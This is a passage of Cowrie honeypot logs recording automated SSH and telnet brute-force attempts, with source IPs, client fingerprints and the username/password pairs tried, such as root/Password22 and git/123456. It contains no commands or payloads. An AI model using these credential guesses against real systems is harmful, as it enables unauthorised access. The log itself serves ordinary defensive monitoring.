fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:39.311986Z","src_ip":"157.7.113.83","session":"1c4adc3c3df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:39.976238Z","src_ip":"157.7.113.83","session":"1c4adc3c3df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:41.134472Z","src_ip":"157.7.113.83","session":"1c4adc3c3df8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":33878,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3d549837d47","protocol":"ssh","message":"New connection: 157.7.113.83:33878 (159.203.135.109:22) [session: b3d549837d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:41.288873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:41.292970Z","src_ip":"157.7.113.83","session":"b3d549837d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:41.449710Z","src_ip":"157.7.113.83","session":"b3d549837d47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:42.105002Z","src_ip":"157.7.113.83","session":"b3d549837d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:42.264305Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:42.269089Z","src_ip":"157.7.113.83","session":"b3d549837d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":48588,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cfa1752261f","protocol":"ssh","message":"New connection: 210.79.142.221:48588 (10.17.0.5:22) [session: 4cfa1752261f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:42.991499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:42.995627Z","src_ip":"210.79.142.221","session":"4cfa1752261f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:44.160638Z","src_ip":"210.79.142.221","session":"4cfa1752261f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123ewqasdcxz","message":"login attempt [ubuntu/123ewqasdcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:44.885782Z","src_ip":"210.79.142.221","session":"4cfa1752261f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:46.130882Z","src_ip":"210.79.142.221","session":"4cfa1752261f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.521066427230835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:57.803887Z","src_ip":"103.49.70.87","session":"a5ebe1c934c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41208,"dst_ip":"159.203.135.109","dst_port":22,"session":"814ff1043e71","protocol":"ssh","message":"New connection: 159.203.92.129:41208 (159.203.135.109:22) [session: 814ff1043e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:00.786767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:00.791576Z","src_ip":"159.203.92.129","session":"814ff1043e71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:00.796000Z","src_ip":"159.203.92.129","session":"814ff1043e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"antonio","message":"login attempt [antonio/antonio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:00.808860Z","src_ip":"159.203.92.129","session":"814ff1043e71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.938142776489258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:01.770013Z","src_ip":"103.49.70.87","session":"e04217129e6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:01.825560Z","src_ip":"159.203.92.129","session":"814ff1043e71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.0610146522522,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:03.029898Z","src_ip":"103.49.70.87","session":"ec03f9614f21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962547063827515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:07.128772Z","src_ip":"103.49.70.87","session":"af378bf7f228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":34844,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d40f94f3c36","protocol":"ssh","message":"New connection: 118.193.33.81:34844 (159.203.135.109:22) [session: 5d40f94f3c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:08.142563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:08.148492Z","src_ip":"118.193.33.81","session":"5d40f94f3c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:08.366083Z","src_ip":"118.193.33.81","session":"5d40f94f3c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password22","message":"login attempt [root/Password22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:09.265155Z","src_ip":"118.193.33.81","session":"5d40f94f3c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":57506,"dst_ip":"10.17.0.5","dst_port":23,"session":"7efdf1dd283f","protocol":"telnet","message":"New connection: 103.49.70.87:57506 (10.17.0.5:23) [session: 7efdf1dd283f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:10.315714Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:10.485866Z","src_ip":"118.193.33.81","session":"5d40f94f3c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":42424,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bbaec83e672","protocol":"telnet","message":"New connection: 103.49.70.87:42424 (10.17.0.5:23) [session: 6bbaec83e672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:20.571844Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":38978,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a69b3187ad","protocol":"ssh","message":"New connection: 157.7.113.83:38978 (159.203.135.109:22) [session: c3a69b3187ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:36.237192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:36.241709Z","src_ip":"157.7.113.83","session":"c3a69b3187ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:36.395219Z","src_ip":"157.7.113.83","session":"c3a69b3187ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:37.040403Z","src_ip":"157.7.113.83","session":"c3a69b3187ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:38.203158Z","src_ip":"157.7.113.83","session":"c3a69b3187ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94521737098694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:41.260828Z","src_ip":"103.49.70.87","session":"7efdf1dd283f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53100,"dst_ip":"159.203.135.109","dst_port":22,"session":"01c208d26bd6","protocol":"ssh","message":"New connection: 159.203.92.129:53100 (159.203.135.109:22) [session: 01c208d26bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:46.851629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:46.856513Z","src_ip":"159.203.92.129","session":"01c208d26bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:46.861118Z","src_ip":"159.203.92.129","session":"01c208d26bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antony","password":"antony","message":"login attempt [antony/antony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:46.872652Z","src_ip":"159.203.92.129","session":"01c208d26bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:47.878705Z","src_ip":"159.203.92.129","session":"01c208d26bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66773819923401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:45:51.239469Z","src_ip":"103.49.70.87","session":"6bbaec83e672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":30278,"dst_ip":"159.203.135.109","dst_port":22,"session":"064238f36211","protocol":"ssh","message":"New connection: 118.193.33.81:30278 (159.203.135.109:22) [session: 064238f36211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:01.763253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:01.775809Z","src_ip":"118.193.33.81","session":"064238f36211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:01.998412Z","src_ip":"118.193.33.81","session":"064238f36211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"password","message":"login attempt [sammy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:02.880469Z","src_ip":"118.193.33.81","session":"064238f36211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:46:04.106439Z","src_ip":"118.193.33.81","session":"064238f36211","protocol":"ssh"}
